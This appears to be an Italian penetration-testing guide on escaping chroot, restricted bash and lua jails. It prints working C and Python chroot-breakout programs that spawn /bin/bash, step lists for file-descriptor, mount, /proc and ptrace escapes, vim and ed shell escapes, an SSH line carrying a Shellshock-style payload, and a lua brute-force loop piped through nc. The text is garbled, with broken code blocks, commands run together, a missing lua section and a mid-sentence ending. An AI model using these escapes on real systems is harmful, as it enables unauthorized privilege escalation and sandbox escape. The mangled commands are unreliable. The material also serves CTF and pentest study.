Da wikipedia: Il meccanismo chroot non è pensato per difendersi da manomissioni intenzionali da parte di utenti privilegiati (root). Sui sistemi più comuni, i contesti chroot non si impilano correttamente e i programmi chrooted con privilegi sufficienti possono eseguire un secondo chroot per evadere.
Di solito questo significa che per evadere devi essere root all'interno del chroot.
Lo strumentochw00t è stato creato per abusare degli scenari seguenti e scappare da chroot.
Root + CWD
Se sei root all'interno di un chroot puoi evadere creando un altro chroot. Questo perché 2 chroots non possono coesistere (in Linux), quindi se crei una cartella e poi crei un nuovo chroot su quella nuova cartella essendo fuori da essa, sarai ora fuori dal nuovo chroot e quindi sarai nel FS.
Questo avviene perché di solito chroot NON sposta la tua directory di lavoro in quella indicata, quindi puoi creare un chroot ma essere fuori da esso.
Di solito non troverai il binario chroot all'interno di una prigione chroot, ma potresti compilare, caricare ed eseguire un binario:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Questo è simile al caso precedente, ma in questo caso l'attaccante memorizza un descrittore di file nella directory corrente e poi crea il chroot in una nuova cartella. Infine, poiché ha accesso a quel FDal di fuori del chroot, vi accede e effettua l'escape.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
I file descriptor possono essere passati tramite Unix Domain Sockets, quindi:
* Crea un processo figlio (fork)
* Crea un UDS in modo che il genitore e il figlio possano comunicare
* Esegui chroot nel processo figlio in una cartella diversa
* Nel processo genitore, crea un file descriptor di una cartella che si trova al di fuori del nuovo chroot del processo figlio
* Passa al processo figlio quel file descriptor utilizzando l'UDS
* Il processo figlio cambia la directory di lavoro in quel file descriptor e, poiché si trova al di fuori del suo chroot, riuscirà a evadere la prigione
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montare il dispositivo root (/) in una directory all'interno del chroot
* Eseguire il chroot in quella directory
Questo è possibile in Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montare procfs in una directory all'interno del chroot (se non è già stato fatto)
* Cercare un PID che abbia un'entrata root/cwd diversa, ad esempio: /proc/1/root
* Eseguire il chroot in quell'entrata
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Creare un Fork (processo figlio) e chroot in una cartella diversa più in profondità nel file system e cambiare la directory di lavoro su di essa
* Dal processo genitore, spostare la cartella in cui si trova il processo figlio in una cartella precedente al chroot dei figli
* Questo processo figlio si troverà al di fuori del chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Tempo fa gli utenti potevano eseguire il debug dei propri processi da un processo di se stessi... ma questo non è più possibile per impostazione predefinita
* Comunque, se fosse possibile, potresti ptrace in un processo ed eseguire un shellcode al suo interno ([vedi questo esempio](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumerazione
Ottieni informazioni sulla prigione:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Modifica del PATH
Verifica se puoi modificare la variabile di ambiente PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Utilizzo di vim
:setshell=/bin/sh:shell
Crea script
Verifica se puoi creare un file eseguibile con /bin/bash come contenuto
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Ottenere bash da SSH
Se stai accedendo tramite ssh, puoi utilizzare questo trucco per eseguire una shell bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Nota che ogni volta che esegui il one liner precedente in un ambiente lua diverso l'ordine delle funzioni cambia. Pertanto, se hai bisogno di eseguire una funzione specifica, puoi effettuare un attacco a forza bruta caricando diversi ambienti lua e chiamando la prima funzione della libreria:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Ottieni una shell lua interattiva: Se ti trovi all'interno di una shell lua limitata, puoi ottenere una nuova shell lua (e sperabilmente illimitata) chiamando:
